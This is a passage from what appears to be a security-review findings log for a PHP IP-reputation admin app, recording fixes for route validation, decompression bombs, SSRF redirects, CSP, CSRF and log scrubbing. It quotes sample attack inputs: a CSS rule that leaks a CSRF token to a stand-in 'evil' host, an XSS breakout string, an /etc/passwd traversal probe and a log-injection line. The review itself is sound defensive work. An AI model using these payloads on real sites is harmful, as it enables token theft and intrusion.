AuditAction::REPORTER_AUDIT_TOGGLED(reporter.audit_toggled) andAuditAction::CONSUMER_AUDIT_TOGGLED(consumer.audit_toggled) — fire from the PATCH handlers wheneveraudit_enabledactually flips (no-ops, e.g. PATCHing the field to its current value, do not emit). The standardreporter.updated/consumer.updatedrows continue to carry the full field diff for context, so existing observers keep working; the new action is the flat alertable signal SOC tooling can match on withWHERE action IN ('reporter.audit_toggled', 'consumer.audit_toggled')rather than walking into the metadatachangesblob. Both rows live in the same DB transaction as the underlying update, so a partial commit cannot hide the toggle while the field flips. The UI'sAuditControllerfilter dropdown is extended to expose the new actions. Regression tests inapi/tests/Integration/Admin/ReportersControllerTest.phpand…/ConsumersControllerTest.php:testAuditEnabledToggleEmitsDedicatedAuditRow(toggle fires both rows; metadata recordsfrom/tobooleans) andtestAuditEnabledNoOpDoesNotEmitDedicatedRow(PATCH with the same value does not fire the dedicated signal).F42 — UI policy proxy controllers rely entirely on API for role enforcement
- File:
ui/src/Controllers/PoliciesController.php:61-118- Risk:
previewProxy/scoreDistributionProxyonly checkgetUser() === nulland forward to the API with the session userId asX-Acting-User-Id. Currently safe because API gates the underlying endpoint to Viewer, but if the API role drifts the UI silently allows access until an API 403 surfaces. Defense-in-depth: enforce the role expectation in the UI controller.- Severity: 1
- Status: Fixed. New
PoliciesController::PROXY_ALLOWED_ROLES = ['viewer', 'operator', 'admin']constant captures the api's Viewer-or-higher gate. Both proxy methods now early-return 403 with a{"error": "forbidden"}JSON body when the session user's role isn't in that allowlist — coveringnone, the empty string, and any unrecognised role string. The api is not called in that branch, so anone-role session that somehow reached the protected/app/*route group cannot use the proxy as a probe channel. AuthRequiredMiddleware still intercepts truly-anonymous requests earlier in the chain (302 → /login); the controller's own 401 branch is the defence-in-depth fallback for any future route reshuffle that pulls the proxy out of/app/*. Regression tests:ui/tests/Integration/Auth/PoliciesProxyTest.phpcovers anonymous-redirect, none-role-403 + zero-api-calls, score-distribution-proxy mirror, viewer-allowed, operator-and-admin-allowed, unknown-role-rejected, and empty-role-rejected.F43 —
/admin/ips/{ip:.+}route pattern is permissive
- Files:
api/src/App/AppFactory.php:256,ui/src/App/AppFactory.php:130,api/src/Application/Admin/IpsController.php:121-127- Risk:
.+matches multi-segment paths. Currently safe becauseIpAddress::fromStringrejects non-IP strings, but any future reuse of$args['ip']as a filename, log key, or downstream URL component inherits a path-traversal sink. Tighten to a strict IP charset regex.- Severity: 1
- Status: Fixed. Both routes now use the strict pattern
[0-9a-fA-F.:%]+instead of.+:
api/src/App/AppFactory.php—GET /api/v1/admin/ips/{ip:[0-9a-fA-F.:%]+}ui/src/App/AppFactory.php—GET /app/ips/{ip:[0-9a-fA-F.:%]+}The charset covers IPv4 dotted-quad (digits +.), IPv6 hex (digits- a-f/A-F +
:), and the%byte that survives the UI'srawurlencode($ip)for IPv6 colons (e.g.2001%3Adb8%3A%3A1) before the controller'srawurldecode. Anything outside that —/,..,?, spaces, dashes, brackets — fails to match the route and 404s before the handler can read$args['ip']. The handler's existingIpAddress::fromStringvalidation is kept as a second layer (still rejects e.g.999.999.999.999which is in the charset but not a valid IP). Regression tests:api/tests/Integration/Admin/IpsControllerTest.php—testDetailRejectsNonIpShapedPathsdata-provider covers path traversal (..%2Fetc%2Fpasswd), multi-segment paths (/192.0.2.1/extra), query-injection probes, backslashes, spaces, dashes, and bracketed IPv6 ([2001:db8::1]) — all 404 at the route layer. The existingtestDetail404OnInvalidIp(usingnot-an-ipwith a dash) andtestDetailRendersForUnknownIpWithCleanStatus(using198.51.100.99) document the 404-via-route vs. 200-via-handler split.F44 — Job name not strictly regex-validated before audit emission
- File:
api/src/Application/Admin/JobsAdminController.php:90-130- Risk:
registry->has($name)is the gate. A future change that trims/url-decodes insidehas()could turn the audit-emit path into log injection or forged audit entries. Validate against^[a-z0-9_-]+$in the controller.- Severity: 1
- Status: Fixed. New
JobsAdminController::JOB_NAME_PATTERNconstant^[a-z0-9_-]+$;trigger()nowpreg_matchs the{name}segment against it as the first thing it does, returning the same 404unknown_jobenvelope used for the missing-job branch. The check runs beforeregistry->has()and before thejob.triggeredaudit emit, so a future refactor that turnshas()permissive on trim/url-decode/case-folding cannot escalate the route into log injection or forged audit entries. Regression tests inapi/tests/Integration/Admin/JobsAdminControllerTest.php—testTriggerRejectsMalformedJobNamedata-provider covers uppercase, dotted, space, CR/LF injection, brackets, percent- encoded space, and..— every case must 404 AND leave zerojob.triggeredrows inaudit_log.F45 —
InternalNetworkMiddlewareadmits the entire RFC1918 universe
- File:
api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35- Risk: Allowed CIDRs are
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16, plus loopback. Any container reachable on the internal docker network passes the network gate. Safer: pin to a named docker-compose network or to the explicit scheduler IP.- Severity: 1
- Status: Fixed by the F25 fix (
33e9198). The hardcoded RFC1918 list is gone;InternalNetworkMiddleware::DEFAULT_ALLOWED_CIDRSis now['127.0.0.1/32', '::1/128']and the constructor takes an explicit allowlist. The container wires that allowlist from the newINTERNAL_CIDR_ALLOWLISTenv var (parsed viaInternalNetworkMiddleware::parseCidrList); empty env → loopback-only. The bundled scheduler also moved tonetwork_mode: "service:api"(so its calls land on127.0.0.1), removing the only legitimate non-loopback caller in the default topology — operators with a host-cron VM or other private-bridge caller opt in by listing the explicit IP/CIDR. The earlier finding text predates the F25 fix; closing here for bookkeeping. Regression tests inapi/tests/Unit/Http/InternalNetworkMiddlewareTest.php:defaultAddressProviderincludesrfc1918 10/8 rejected by default,rfc1918 172.16/12 rejected by default,rfc1918 192.168/16 rejected by default, and the loopback admit cases — every previously-permissive RFC1918 source now 404s under the default config.F46 — LIKE wildcard injection in IPs search
q
- File:
api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162- Risk:
qis bound parametrically (no SQLi) but%and_meta-characters are not escaped.?q=%matches every row;?q=_____...is a quadratic backtrack vector. TheIpsControllervalidator onlytrim()sq; no length cap.- Status: Fixed by the F30 fix (
2cc1924).IpsController::parseSearchFiltersnow rejects anyqnot matching^[0-9a-fA-F:.]+$or longer than 64 chars with 400validation_failed; neither%nor_survives the charset, and the source comment cites both F30 and F46. The repository's LIKE path also re-validates with the same regex (defence-in-depth) and only ever issuess.ip_text LIKE 'q%'. The earlier finding text predates that fix; closing here for bookkeeping. Regression tests inapi/tests/Integration/Admin/IpsControllerTest.php:testSearchRejectsNonIpShapedQuerycovers?q=%and?q=_____among other malformed shapes;testSearchRejectsOverlongQuerycaps the length at 64 chars.- Severity: 1
F47 — Unbounded length on string filters reaching SQL
- Files:
api/src/Application/Admin/AuditController.php:58-83,api/src/Infrastructure/Audit/AuditRepository.php:81-101- Risk:
action,entity_type,entity_id,subject_kind,subject_idare accepted as arbitrary-length strings. Bound parametrically (no SQLi) but multi-megabyte values are happily forwarded to the prepared statement, wasting RAM/CPU per request. Apply max length 128 plus an allowlist regex on*_kindfields.- Severity: 1
- Status: Fixed. The 128-char length cap from F31's fix (
MAX_FILTER_LENGTH) already coversaction,entity_type,entity_id,subject_kind, andsubject_id— the multi-megabyte-payload concern. F47 also asked for an allowlist regex on the*_kindfields. NewAuditController::KIND_PATTERN = '/^[a-z0-9][a-z0-9_-]*$/'applies toentity_typeandsubject_kind;actor_kindandactor_viawere already in-array-allowlisted. The pattern matches every realtarget_type/actor_kindvalue the audit emitter writes (reporter,consumer,admin-token,manual_block,oidc_role_mapping, …) and rejects uppercase, dots, spaces, CR/LF, and leading-dash inputs that wouldn't match any column value anyway. Regression testAuditLogControllerTest::testKindFilterCharsetGatecoversentity_typeandsubject_kindreject paths plus a smoke-pass for known good kinds.F48 — MaxMind tarball extraction has no decompressed-size cap
- File:
api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98- Risk:
PharData::extractTorejects..traversal since PHP 8, so direct path-traversal is mitigated, but there is no per-entry size cap. A small.tar.gzcould decompress into multi-GB MMDB and exhaust disk beforeMmdbVerifiersees it. Iterate$pharmanually and enforce a max uncompressed size.- Severity: 1
- Status: Fixed. New
MaxMindDownloader::assertSizeBudgetwalks thePharData(viaRecursiveIteratorIteratorso it descends into the nestedGeoLite2-…/directory) BEFOREextractTo, summing each entry'sgetSize()(uncompressed) and throwingDownloaderExceptionif any single entry exceedsMAX_ENTRY_BYTES = 200 MiBor the total exceedsMAX_TOTAL_BYTES = 400 MiB. Real GeoLite2 MMDBs are ~6–7 MiB; the caps are generous against future growth while bounding the worst-case at "no single entry can fill a small disk". The check runs infetchEdition()immediately afternew PharData($tarPath), so a bomb tarball never gets a single decompressed byte on disk. Helper ispublicwith@internalso the unit test can drive it with small caps without building a >200 MiB fixture; production call site uses the defaults. Regression tests inapi/tests/Unit/Enrichment/MaxMindDownloaderTest.php:testNormalArchivePasses(small fixtures pass with default caps),testEntryOverPerEntryCapIsRejected(4 KiB entry rejected under 1 KiB cap, message includes the offending size), andtestTotalOverArchiveCapIsRejected(three 1 KiB entries breach a 2 KiB total cap), plustestNestedEntriesAreCountedto prove the recursive iteration descends into the date-stamped subdirectory the real MaxMind tarball nests.F49 — DB-IP gunzip has no decompressed-size cap
- File:
api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126- Risk:
gzdecode($compressed)allocates the full decompressed payload. A malicious or compromised DB-IP endpoint (or a TLS-trust misconfiguration) could serve a tiny gzip whose decompressed form is multi-GB, OOM-killing the api. Stream viagzopen/gzreadand bail past a threshold.- Severity: 1
- Status: Fixed.
DbipDownloader::gunzipnow streams viagzopen/gzread64 KiB at a time (peak memory = the chunk, not the file) and aborts withDownloaderExceptiononce the running total exceedsMAX_DECOMPRESSED_BYTES = 400 MiB. The cap matches the MaxMind tarball total cap from F48 so both downloaders agree on what "too big" looks like; realdbip-country-lite-*.mmdbis ~10 MiB, so the cap is generous against future growth. On cap breach (or any other gunzip error), the partial output file is unlinked so the caller never sees a half-decoded MMDB on disk; the gz input is left in place so the operator can see what was attempted. The gunzip helper is split into a privategunzip()with the production cap and apublic @internal gunzipWithCap()that takes the cap as an argument so the unit test can drive it with small fixtures instead of building 400 MiB of test data. Regression tests inapi/tests/Unit/Enrichment/DbipDownloaderTest.php:testNormalGunzipPasses,testOutputOverCapIsRejectedAndCleanedUp(4 KiB plaintext under a 1 KiB cap → exception + no partial output file),testEmptyGzipIsRejected,testMissingInputIsRejected, andtestLargeInputStreamsCorrectly(256 KiB through the chunked loop, ensuring chunked accumulation works correctly across multiple reads).F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
- File:
api/src/App/Container.php:279-288- Risk:
connect_timeout/timeoutare set butallow_redirectsdefaults to "follow up to 5", with noprotocols/strict/refererconstraints. A malicious upstream or DNS poisoning could 302 a download tohttp://169.254.169.254/...orfile://. URL is a constant in the default deploy, so this is defence-in-depth. Mitigation:allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]plus a private-IP guard.- Severity: 1
- Status: Fixed. Two layers added to the GeoIP-downloader Guzzle client in
api/src/App/Container.php:
- Tight
allow_redirects.['max' => 3, 'protocols' => ['https'], 'strict' => true, 'referer' => false, 'track_redirects' => false]. Caps the chain at 3 hops, refuses to followhttp://orfile://redirects, and never sends a Referer.PrivateHostGuardMiddleware. New handler-stack middleware inapi/src/Infrastructure/Enrichment/Downloaders/. Inspects the URL's literal host on every outgoing request — including each redirect target — and throwsGuzzleHttp\Exception\TransferExceptionbefore opening a socket to a loopback / link-local / RFC1918 / CGNAT / multicast address (IPv4 + IPv6) or a known instance-metadata hostname (169.254.169.254,metadata.google.internal,localhost,0.0.0.0). The post-redirecthttp://169.254.169.254/.../https://localhost/.../https://10.0.0.1/...patterns therefore die at the request layer rather than reaching the network. The guard inspects literal hosts only — pinning DNS to catch a public hostname pointing at a private IP is out of scope for "defence in depth"; the primary controls are the constant base URL plus theprotocols => ['https']redirect gate. Regression tests inapi/tests/Unit/Enrichment/PrivateHostGuardMiddlewareTest.php: 17 blocked-host data-provider cases (IPv4 + IPv6 across loopback, link-local, RFC1918, CGNAT, multicast, all-zero, metadata IP, metadata hostname,localhost), 6 allowed-host cases (download. db-ip.com,download.maxmind.com,ipinfo.io, just-outside- 172.16/12,1.1.1.1, public IPv6),testFactoryProducesMiddleware ThatGuardsBeforeHandlerproving the inner handler is not invoked on the blocked branch, andtestEmptyHostIsRejected.F51 —
RoleMappingRepositoryplaceholder generation does not enforce list shape
- File:
api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36- Risk: Safe today because the only caller passes a typed list, but the
sprintfpattern is fragile. Addarray_filter($groupIds, 'is_string')to make the contract explicit.- Severity: 1
- Status: Fixed.
RoleMappingRepository::resolveRolenow doesarray_values(array_filter($groupIds, 'is_string'))as the first step, so thecount($groupIds)placeholder generation and the bind-list always agree even when a future caller passes a mixed array, a hash with skipped indexes, or anything else that violates the PHPDoclist<string>contract. After filtering, the empty case correctly falls back to the default role. Regression tests inapi/tests/Integration/Auth/RoleMappingRepositoryTest.php:
- happy-path highest-role-resolution and default-fallback,
- non-string entries are filtered, retaining valid string IDs,
- all-non-string list collapses to the default,
- a hash with non-contiguous keys (
[5 => 'group-x', 12 => '…']) is re-keyed and the IN clause still works.F52 — Reporter / consumer / category
name/reasonaccept control characters
- Files:
api/src/Application/Admin/ReportersController.php:69-72,ConsumersController.php:67-70,ManualBlocksController.php,AllowlistController.php,CategoriesController.php- Risk: NULs, newlines, ANSI escapes land in
audit_log.target_labelanddetails_json. Twig auto-escapes for display, but log-injection (\n[CRIT] fake event) is possible downstream. Strip control chars and NFC-normalise at the input boundary.- Severity: 1
- Status: Fixed. New
AdminControllerSupport::stripControlCharsandcleanStringhelpers strip C0 (0x00..0x1f), DEL (0x7f), and C1 (0x80..0x9f) bytes. Applied at every relevant call site on both create and update paths in:
ReportersController—name,description,ConsumersController—name,description,CategoriesController—name,description(slug is already regex-validated to lowercase +_-only),ManualBlocksController—reason,AllowlistController—reason. The strip removes the ESC byte that leads ANSI escape sequences, so terminal-interpretation attacks on log viewers (\u{001b}[31m) collapse — the trailing[31mtext remains visible but inert without the lead-in. NULs and newlines (\n[CRIT] fake event) are gone outright. NFC normalisation was deliberately skipped — the api doesn't requireext-intland adding the dependency for a defence-in-depth nice-to-have isn't worth the install-footprint cost. Thedetails_jsonaudit blob inherits the scrub because the controllers feed the cleanedname/description/reasoninto the audit emit. Regression tests:api/tests/Integration/Admin/InputControlCharStrippingTest.php— one POST per controller plus a PATCH on the reporter update path, asserting both that the control bytes are gone (preg_match( '/[\x00-\x1f\x7f-\x9f]/u', value) === 0) and that the surrounding visible payload round-trips byte-for-byte. The reporter case also drills intoaudit_log.target_labelanddetails_jsonto prove the audit row never sees the raw bytes.F53 — Stored-XSS sink potential in
categories/edit.twigdecay_function
- File:
ui/resources/views/pages/categories/edit.twig:7-10- Risk:
x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })". Twig's defaulte('html')escapes'to'. The browser HTML-decodes the attribute before Alpine evaluates it as JS, so'becomes a literal'and breaks out of the JS string. Ifdecay_functionever storesa'); alert(1);//(API enum drift), it executes. Combined with F24 (CSP'unsafe-inline'), live XSS. Usee('js')for content interpolated into a JS-attribute.- Severity: 1
Status: Fixed by the F24 fix (
193f646). When the CSP dropped'unsafe-inline'and'unsafe-eval', all inline-eval Alpine patterns had to be rewritten — the categories edit template now reads:<div x-data="decayPreview" data-decay-fn="{{ category.decay_function }}" data-decay-param="{{ category.decay_param }}">
x-data="decayPreview"is the component name only (no inline JS interpolation), and the value flows via Twig's defaulte('html')- escaped HTML data attribute. The Alpine component reads it viathis.$el.dataset.decayFn— a string DOM read, nevereval.app.jsfurther whitelists the value to the known enum:ds.decayFn === 'linear' ? 'linear' : 'exponential'— so even if a value somehow drifted, only the two known states map. No Alpine-side regression test (no JS-interpreted Twig escaping path remains in the template), but the rewritten pattern is one of the CSP-build cases the F24 work covered.F54 — CSRF middleware lacks
Origin/Refererdefence in depth
- File:
ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74- Risk: Token validation is correct (constant-time compare, 256-bit entropy). Missing layered checks. No JSON-body extraction path (the middleware reads only header or
getParsedBody()); fine today, brittle for future PUT/PATCH endpoints with JSON.- Severity: 1
- Status: Fixed. Two new layers on top of the existing constant-time token compare:
- Same-origin gate. State-changing requests with a present
Origin(or, whenOriginis absent butRefereris present, with aReferer) whose scheme+host+port doesn't match the request URI's are refused with 403 BEFORE the token check, so a cross-origin attacker who somehow exfiltrated the token cookie still can't fire a same-token cross-origin POST.Origin: null(sandboxed iframes / file:// pages) and the "neither header present" branch fall through to the token-only path — the curl/programmatic clients the test suite uses; modern browsers always sendOriginon POST/PUT/PATCH/DELETE. Default ports (:443for https,:80for http) are normalised out sohttps://example.comandhttps://example.com:443compare equal.- JSON body extraction.
extractTokennow also readscsrf_tokenfrom the JSON request body whenContent-Type: application/json, so a future fetch-with-JSON PUT/PATCH endpoint inherits CSRF protection without a per-route shim. Existing form-encoded andX-CSRF-Tokenheader paths are unchanged. Regression tests inui/tests/Unit/Http/CsrfMiddlewareTest.php: cross-origin Origin → 403, same-origin Origin → 200, Referer-fallback when Origin absent (same- and cross-origin),Origin: nulldeferring to the token check, JSON-body token accepted, JSON-body wrong token → 403.F55 —
e('html_attr')in Alpinex-dataJS-attribute
- File:
ui/resources/views/pages/ips/detail.twig:166-171- Risk: Escape-strategy mismatch —
html_attrvs the JS evaluator Alpine runs the attribute through. Backticks aren't escaped, Unicode permissive. A maintainer footgun more than an exploit. Usedata-foo='{{ x|json_encode|e("html_attr") }}'on a non-Alpine element and read viadataset.foo+JSON.parse(the pattern already used indashboard.twig).- Severity: 1
Status: Fixed by the F24 fix (
193f646), the same CSP- tightening migration that resolved F53. The previously-vulnerable patternx-data="scoreOverTime({ reports: {{ score_chart.reports|json_encode|e('html_attr') }}, ... })"was rewritten to the exact pattern F55 recommended:
x-data="scoreOverTime" data-score-chart="{{ {reports: …, categories: …, now: …} |json_encode|e('html_attr') }}"The
e('html_attr')filter now escapes for the actual context (HTML attribute), andapp.jsreadsJSON.parse(this.$el.dataset.scoreChart)— a string DOM read followed by a JSON parse, never an Alpine eval. Closing F55 for bookkeeping; no new code change needed.F56 — Inline
<script>blocks in many templates force CSP'unsafe-inline'
- Files:
ui/resources/views/pages/ips/detail.twig:274-392,pages/categories/edit.twig:111-135,pages/policies/edit.twig:139-422,pages/audit/index.twig:102-131,layout.twig:9-22- Risk: Inline scripts plus event handlers force
'unsafe-inline'(F24). Migrating to per-request nonces, or moving these scripts into a packaged/assets/app.js, lets the CSP drop the'unsafe-inline'token.- Severity: 1
- Status: Fixed by the F24 fix (
193f646). Both migration paths the SEC_REVIEW recommended were applied:
- Per-page inline scripts in
pages/ips/detail.twig,pages/categories/edit.twig,pages/policies/edit.twig, andpages/audit/index.twigare gone — their behaviour was moved into Alpine components in the packagedui/resources/js/app.js, loaded via<script src="/assets/app.js" defer>inlayout.twig.- The single remaining inline
<script>(the dark-mode FOUC preloader inlayout.twig— has to stay inline becauseapp.jsisdeferred and runs after layout) now carriesnonce="{{ csp_nonce }}", wherecsp_nonceis minted per request byApp\Http\CspMiddlewareand matched on the response'sContent-Security-Policyheader. Result:script-srcis now'self' 'nonce-…'only —'unsafe-inline'is gone.grep -rn "<script" ui/resources/viewsreturns exactly the two layout.twig hits (one inline-with-nonce, one external src). Closing F56 for bookkeeping; no new code change needed.F57 — Session cookie name lacks
__Host-prefix
- File:
ui/src/Auth/SessionManager.php:23, 54-62- Risk: Attributes are correct (
HttpOnly, prodSecure,SameSite=Lax,path=/, noDomain). Adding__Host-enforces these at the browser and prevents subdomain cookie shadowing. Free defence-in-depth.- Severity: 1
- Status: Fixed. New
SessionManager::cookieName()returns__Host-irdb_sessionwhensecureCookieis true (production / HTTPS) andirdb_sessionotherwise.startSession()now callssession_name($this->cookieName())so the response'sSet-Cookieheader carries the prefixed name in production. The prefix is a browser-enforced contract: cookies named__Host-…are REJECTED unless they haveSecure,Path=/exactly, and noDomainattribute (host-only) — which is exactly the shape the existingsession_set_cookie_paramsalready produces, so the rename is a free defence-in-depth tightening that prevents a parent-domain or subdomain page from shadowing the session cookie. Dev mode (APP_ENV=development,secureCookie=false, HTTP) keeps the unprefixed name because browsers reject__Host-over plain HTTP. Existing rolling sessions get implicitly invalidated on deploy (the cookie name changes), so users re-authenticate; acceptable cost for the security improvement. Regression tests inui/tests/Unit/Auth/SessionManagerTest.php:testCookieNameUsesHostPrefixWhenSecureandtestCookieNameSkipsHostPrefixInDev.F58 —
/api/docsCSP allows external CDN without SRI
- File:
api/docker/Caddyfile:41- Risk:
script-src 'unsafe-inline' https://cdn.jsdelivr.net. If the CDN is compromised or RapiDoc serves user-influenced content, the docs page executes attacker JS. Add SRI hashes on the RapiDoc tag, or vendor a copy locally.- Severity: 1
- Status: Fixed.
DocsControllernow emits the RapiDoc<script>tag withintegrity="sha384-…"andcrossorigin="anonymous". The hash (MDSxszbIJtK/9YakZ3tvi2bK6LaaHnB8+Hd2/fCfih0tLa+Mqlv6HO0bZdrICjjG) was computed from the actual upstream bytes viaopenssl dgst -sha384 -binary | base64. The browser refuses to execute the script if the CDN serves different bytes — covers a jsDelivr compromise, an in-flight content modification, or a hostile origin failover. The hash is captured as a class constant (RAPIDOC_INTEGRITY) alongsideRAPIDOC_URLso a future RapiDoc version bump is a documented two-line change with the reproduction recipe in the docblock. The Caddyfile CSP is unchanged:script-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'still allows the CDN host (the SRI is the per-bytes contract, the CSP entry is the per-host contract). Vendoring locally was considered but rejected: the M01 Caddyfile routes everything through PHP, and reshaping that to serve a static asset would be a wider change than the F58 ask. The CDN
- SRI combination is the spec-accepted alternative. Regression test:
api/tests/Integration/Public/DocsControllerTest.php—testDocsPageEmbedsRapiDocWithSriIntegrityasserts the script tag carries a well-formed sha384 SRI hash ANDcrossorigin="anonymous".F59 — Missing modern hardening headers
- Files:
ui/docker/Caddyfile:18-34,api/docker/Caddyfile:24-30- Risk: No
Cross-Origin-Opener-Policy,Cross-Origin-Resource-Policy, orX-Permitted-Cross-Domain-Policies.Permissions-Policycovers onlygeolocation,microphone,camera. Cheap to add the rest.- Severity: 1
- Status: Fixed. Both Caddyfiles now emit:
Cross-Origin-Opener-Policy: same-origin— isolates the browsing context from any popups it opens; awindow.opener.location = …from a newly-spawned cross-origin tab can no longer reach back into the app.Cross-Origin-Resource-Policy: same-origin— tells the browser the resource may only be loaded by same-origin documents (defeats sub-resource leaks via cross-origin<img>/<script>/<link>inclusion).X-Permitted-Cross-Domain-Policies: none— blocks legacy Adobe Flash / Acrobatcrossdomain.xmllookups. COEPrequire-corpwas deliberately not added: it would require every cross-origin resource (e.g. the jsDelivr-hosted RapiDoc on/api/docs) to opt in via CORP, which we don't control. The SEC_REVIEW called out COOP / CORP / X-Permitted- CDP only; sticking to that scope. (Permissions-Policyhardening — F61 — is tracked separately.) Caddyfile syntax is validated withfrankenphp validate --config … --adapter caddyfile("Valid configuration") on both files.F60 — HSTS lacks
preload
- Files:
ui/docker/Caddyfile:37,api/docker/Caddyfile:36- Risk: Informational. Operators who want HSTS preload need to add the directive.
- Severity: 1
- Status: Fixed. Both Caddyfiles now read the HSTS header value from a new
HSTS_HEADERenv var with the previous value (max-age=31536000; includeSubDomains) as the default, so operators who want to submit to https://hstspreload.org/ can opt in by settingHSTS_HEADER="max-age=31536000; includeSubDomains; preload"in their environment without patching the Caddyfile. We deliberately don't enablepreloadby default: preload-listing is a one-way commitment — browser preload removals take months — and the M01 default is "operator runs the bundled compose stack on a hostname they may want to retire". The.env.exampledocuments the override syntax with the SEC_REVIEW F60 reference. Caddyfile syntax validated withfrankenphp validate --adapter caddyfileon both files; both report "Valid configuration".F61 — Caddy
Permissions-Policyminimal
- Files:
ui/docker/Caddyfile:24,api/docker/Caddyfile:30- Risk: Modern hardening also denies
interest-cohort,payment,usb,magnetometer,gyroscope,accelerometer,fullscreen,display-capture,clipboard-read, etc.- Severity: 1
- Status: Fixed. The narrow
geolocation=(), microphone=(), camera=()was extended to a full deny-list of every browser feature the admin UI doesn't use:accelerometer,ambient-light-sensor,autoplay,battery,bluetooth,camera,clipboard-read,display-capture,encrypted-media,fullscreen,gamepad,geolocation,gyroscope,hid,idle-detection,interest-cohort(FLoC),magnetometer,microphone,midi,payment,picture-in-picture,screen-wake-lock,serial,speaker-selection,usb,web-share,xr-spatial-tracking.clipboard-writeis left at its same-origin default on the UI Caddyfile so the existingrawTokenCopyAlpine component on the Tokens page can still write the freshly-issued raw token to the clipboard; the api Caddyfile deniesclipboard-writeoutright because the api never serves a page that needs it. Both Caddyfiles validated withfrankenphp validate --adapter caddyfile -e APP_ENV=production— both report "Valid configuration".F62 — CSP
style-src 'unsafe-inline'enables CSS-attribute-selector exfiltration
- File:
ui/docker/Caddyfile:33- Risk: With an HTML-injection (sub-XSS) primitive, an attacker can write CSS like
input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }to leak the CSRF token char-by-char. Drop'unsafe-inline'forstyle-srcand move dynamic widths to a stylesheet driven bydata-*attributes.- Severity: 1
- Status: Fixed.
App\Http\CspMiddleware::policynow emitsstyle-src 'self'only —'unsafe-inline'is gone. The two templates that previously carried inlinestyle="…"attributes were migrated:
partials/topnav.twig— the user-menu dropdown'sstyle="display: none;"pre-init hide replaced withx-cloak. The bundled stylesheet (ui/resources/css/app.css) now ships[x-cloak] { display: none !important; }so the element is hidden until Alpine boots and removes the attribute.pages/ips/detail.twig— the dynamicstyle="width: {{ width_pct }}%"on the per-category score bar replaced withdata-score-width="{{ width_bucket }}"wherewidth_bucketis the percent rounded to 5%. The stylesheet ships one rule per bucket ([data-score-width="0"] { width: 0%; }…[data-score-width="100"] { width: 100%; }). 5% buckets are visually indistinguishable from per-pixel widths on the 1.5px-tall bar. Regression tests inui/tests/Unit/Http/CspMiddlewareTest.php(extendedtestPolicyContainsNonceAndDropsUnsafeDirectivesto assertstyle-src 'self') andui/tests/Integration/App/CspHeaderTest.php(newtestStyleSrcDropsUnsafeInlineandtestNoInlineStyleAttributesInLoginTemplate). Full UI suite (188 tests / 587 assertions) passes.F63 — Twig
autoescapedefault is not explicitly configured
- File:
ui/src/App/Container.php:105-131- Risk: Defaults to
'html'today, but a future Twig major or Slim-twig wrapper change could quietly flip it. Pin'autoescape' => 'html'.- Severity: 1
- Status: Fixed. The Twig factory in
ui/src/App/Container.phpnow passes'autoescape' => 'html'explicitly. Twig 3 already defaults to'html', but pinning the option means a future major bump (or a Slim-twig wrapper change) that flipped the default would surface as a build-time error fromEscaperExtension(Twig refuses unknown strategy names) rather than as silently un-escaped output. Regression tests inui/tests/Integration/App/TwigConfigTest.php:testAutoescapeStrategyIsExplicitlyHtmlcallsEscaperExtension::getDefaultStrategy()on the wired-up environment and asserts the strategy is'html';testRenderedTemplateAutoescapesUserInputproves the pipeline actually applies the strategy by rendering'<script>alert(1)</script>'through{{ value }}and asserting the output is HTML-escaped.F64 —
compose.scheduler.ymlreferences a missing crontab file
- File:
compose.scheduler.yml:10(./docker/scheduler.crontab)- Risk: The bind-mount source does not exist in the repository. Container starts with empty
/etc/crontabs/rootand silently never runscleanup-audit(audit retention silently broken) orcleanup-expired-manual-blocks. Failure-open monitoring gap.- Severity: 1
- Status: Fixed by the F22 fix (the scheduler-image rebuild that replaced the runtime
apk addwith a pinned-digest Dockerfile). The bind-mount of./docker/scheduler.crontabis gone;scheduler/scheduler.crontabisCOPYed into the image at build time so the schedule is part of the immutable artifact (COPY scheduler.crontab /etc/crontabs/rootinscheduler/Dockerfile). Operators wanting a different cadence can still bind-mount their own crontab over/etc/crontabs/rootin compose, but the default no longer depends on a host file at all. Closing F64 for bookkeeping; no new code change required.F65 —
SecretScrubbingProcessordoes not match raw JWT shape
- Files:
api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57,ui/src/Logging/SecretScrubbingProcessor.php:22-37- Risk: A short Bearer (< 20 chars) is not redacted by the current regex. Raw
id_token/access_tokenJWTs logged under alternate keys (e.g.'jwt' => '...') escape the key-name list. Add a JWT regex^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$.- Severity: 1
- Status: Fixed. Both
SecretScrubbingProcessorvalue-pattern lists (api and ui) gained two entries:
\beyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\b→eyJ***. Anchored oneyJbecause every JWT header is the base64url encoding of a JSON object that starts with{"…, which iseyJ…. Anchoring eliminates false positives on dotted-quad IPs (192.168.1.1), shared-object names (lib.so.6), and arbitrarya.b.c-shaped prose; the per- segment{4,}floor skips pathological short matches.- The Bearer floor
[A-Za-z0-9._\-]{20,}was lowered to{8,}so aBearer abc12345short token (the SEC_REVIEW called out< 20 charBearers slipping through) gets caught. Regression tests:- api:
testRawJwtInValueIsScrubbed,testRawJwtInMessageIsScrubbed,testShortBearerTokenIsScrubbed,testIpAddressDoesNotMatchJwtRegex(false-positive guard).- ui:
testRawJwtInValueIsScrubbed,testShortBearerIsScrubbed. All existing tests still pass.F66 —
APP_SECRETandUI_SECRETdeclared but unused
- Files:
.env.example:23, 82,api/config/settings.php:35,ui/config/settings.php:37- Risk:
UI_SECRETis never referenced inui/src/.APP_SECRETis never used for any signing/HMAC operation. Operators following.env.examplegenerate secret material that does nothing — a misleading security signal. Either wire them into ETag/CSRF/session signing or remove them.- Severity: 1
- Status: Fixed by removal. Neither secret was ever used for signing or HMAC (no callsites under
api/src/orui/src/), and adding fictional uses just to keep the env vars alive would invent ceremony. Deleted from:
